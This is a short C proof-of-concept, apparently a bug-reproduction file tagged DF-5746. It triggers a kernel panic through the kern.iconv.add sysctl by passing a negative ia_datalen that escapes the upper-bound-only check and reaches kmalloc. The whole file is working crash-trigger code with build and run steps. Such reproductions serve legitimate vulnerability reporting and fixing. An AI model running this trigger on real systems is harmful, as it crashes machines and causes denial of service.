DF-5746 / trigger_neg.c
/* DF-5746 trigger C — negative ia_datalen reaches kmalloc() unchecked. * * sys/libiconv/iconv.c:410 validates only the UPPER bound * ("if (din.ia_datalen > ICONV_CSMAXDATALEN) return EINVAL"). * A negative ia_datalen is non-zero, so iconv.c:427 does * kmalloc((size_t)negative, M_ICONVDATA, M_WAITOK) * which is a near-2^64 allocation -> kern_slaballoc.c:1724 * panic("kmem_slab_alloc(): kernel_map ran out of space!"). * * Build: cc -I/usr/src/sys -o trigger_neg trigger_neg.c * Run: ./trigger_neg (as root; expect immediate panic) */ #include <sys/types.h> #include <sys/sysctl.h> #include <sys/iconv.h> #include <stdio.h> #include <string.h> int main(void) { struct iconv_add_in din; struct iconv_add_out dout; size_t olen = sizeof(dout); memset(&din, 0, sizeof(din)); din.ia_version = ICONV_ADD_VER; strcpy(din.ia_converter, "xlat16"); strcpy(din.ia_to, "NEGD"); strcpy(din.ia_from, "UTF-16BE"); din.ia_datalen = -4096; din.ia_data = NULL; printf("[*] registering with ia_datalen=%d ...\n", din.ia_datalen); fflush(stdout); if (sysctlbyname("kern.iconv.add", &dout, &olen, &din, sizeof(din)) < 0) { perror("sysctl kern.iconv.add"); return (1); } printf("[?] returned without panic (unexpected)\n"); return (0); } |